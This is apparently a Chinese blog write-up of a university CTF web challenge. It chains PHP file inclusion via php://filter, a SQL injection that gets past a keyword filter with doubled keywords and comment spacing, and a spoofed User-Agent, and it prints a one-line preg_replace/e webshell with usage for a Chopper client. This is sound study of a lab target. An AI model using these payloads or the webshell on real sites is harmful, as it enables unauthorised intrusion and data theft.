南邮ctf之web之综合题2

 

综合题2

这题拿来一看没有下手点!!!

 

 

 

里面有个本cms说明点进去看一下!!

 

 

 

说了一些页面

config.php:存放数据库信息,移植此CMS时要修改

index.php:主页文件

passencode.phpFunny公司自写密码加密算法库

say.php:用于接收和处理用户留言请求

sm.txt:本CMS的说明文档

去访问一下!发现 config.php这个是被过滤的!!

但是看url是发现一个http://cms.nuptzj.cn/about.php?file=sm.txt

有个file,所以我在想是不是有文件包含,尝试一下!!

 

 

 

发现是有的,刚好最近又在看文件上传伪协议,刚好用到了convert.base64-encode,base64打包index.php,index.php中的php代码给弄下来!!!

这就不说了,下面打包下来的全部代码在  nctf-综合题2.php   中,主要用

http://cms.nuptzj.cn/about.php?file=php://filter/read/convert.base64-encode/resource=index.php

其他页面自己弄,在用kali将base64解码,或者自己用base64解码工具都可以的!!

主要有几个重要的页面,主要说这几个!!

//about.php

 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<?php

$file=$_GET['file'];

if($file=="" || strstr($file,'config.php')){

echo "file参数不能为空!";

exit();

}else{

$cut=strchr($file,"loginxlcteam");//这是个目录,所以终于找到突破点了!!加油!

if($cut==false){

$data=file_get_contents($file);

$date=htmlspecialchars($data);

echo $date;

}else{

echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";

}

?>

 

一开始大致看了一遍没到这个个,还有个目录,然后去访问这个!!

 

发现是个后台登录,然后直接用万能密码等一下!!!发现没用,在尝试有没有sql注入,发现用户名为admin是,会说密码不正确,输入别的用户发现用户名不正确,我第一反应就是去用bp爆破,但是想想算了,因为爆破很难,字典强大还需要很多时间!!!

所以就注入,用sqlmap还有手注都不行,没有注入点,有点崩溃!在去看了一下爬下来的代码,终于发现一个 so.php这个是有注入漏洞的!!  也就是那个留言搜索!!

 

/

//so.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>搜索留言</title>

</head>

 

<body>

<center>

<div id="say" name="say" align="left" style="width:1024px">

<?php

if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ //忽略了   这个

echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';

    exit();

}

$id=$_POST['soid'];

include 'config.php';

include 'antiinject.php';

//("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=")这个是他过滤的正则!!!所以antiinject.php这个就不在说了!!

include 'antixss.php';

$id=antiinject($id);

$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());

mysql_select_db($db_name,$con);

$id=mysql_real_escape_string($id);

$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");

$rs=mysql_fetch_array($result);

echo htmlspecialchars($rs['nice']).':<br />    '.antixss($rs['say']).'<br />';

mysql_free_result($result);

mysql_free_result($file);

mysql_close($con);

?>

然后又发现sm.txt给你找个数据库和表名还有字段名!

create table admin (

id integer,

username text,

userpass text,

)

 

username text,

userpass text,

)

现在知道几个字段,所以主要就是进行注入,在注入过程中发现一个问题,怪自己没看清楚!!!当中有个if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ //忽略了   这个

echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';    我给忽略了,所以真没构造payload都没用!!!废话不说上bp!因为需要帮他的头有个参数需要修改为Xlcteam Browser  

User-Agent:Xlcteam Browser

 

 

 

 

 

下面主要看正则过滤什么了!!!如果这个要是黑盒测试,我感觉可以注到死!!!

因为已经知道正则过滤什么了,直接说他没过滤什么~

第一:他没过滤双写!!所以里面的一些函数什么都可以双写绕过!!!

第二个:因为他过滤了‘-’ ‘=’,所以我们在构造and时就不能and 1=1或者1=2了,但是我们可以用 soid=1 and 0这也可以有报错信息回显出来的!!

所以不多说直接上

payload:soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,2,3,4

看他的回显字段!

 

 

 

发现时23字段!

我们在sm.txt中时知道他的数据库中的表,表中的字段的!所以直接构造了!

Payloadsoid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userpapassss)/**/ffromrom/**/aadmindmin),3,4

 

 

 

是个ascii值,直接去看吧!

102 117 99 107 114 117 110 116 117

f    u   c  k   r   u    n  t   u

 

fuckruntu

这样直接去那个后台登录!

 

 

 

发现登录成功!!

但是还是没拿到flag!!

在看他说了网站根目录中放了小马!在去利用file包含漏洞将xlcteam.php

这个php代码给爬下来!

//xlcteam.php

<?php

$e = $_REQUEST['www'];

$arr = array($_POST['wtf'] => '|.*|e',);

array_walk($arr, $e, '');

//菜刀连接用法

//url?www=preg_replace

//密码:wtf

?>

 

爬下来过后,发现不会用,在去找一下用法,百度了array_walk函数,这个是数组,看完过后用www=system,密码wtf,发现不行的!再去百度!https://blog.csdn.net/u014549283/article/details/81842084在这个博客中提到了!!!为什么我们用system不行,因为还是那个函数,array_walk这个是数组,所以需要用preg_replace这个函数,这个也是数组可以反应出来的!

所以直接用菜刀连接!

 

 

 

 这个再nctf中还是比较全面的,挺不错的!

 

posted @ 2020-03-21 17:15  空城-1  阅读(545)  评论(0)    收藏  举报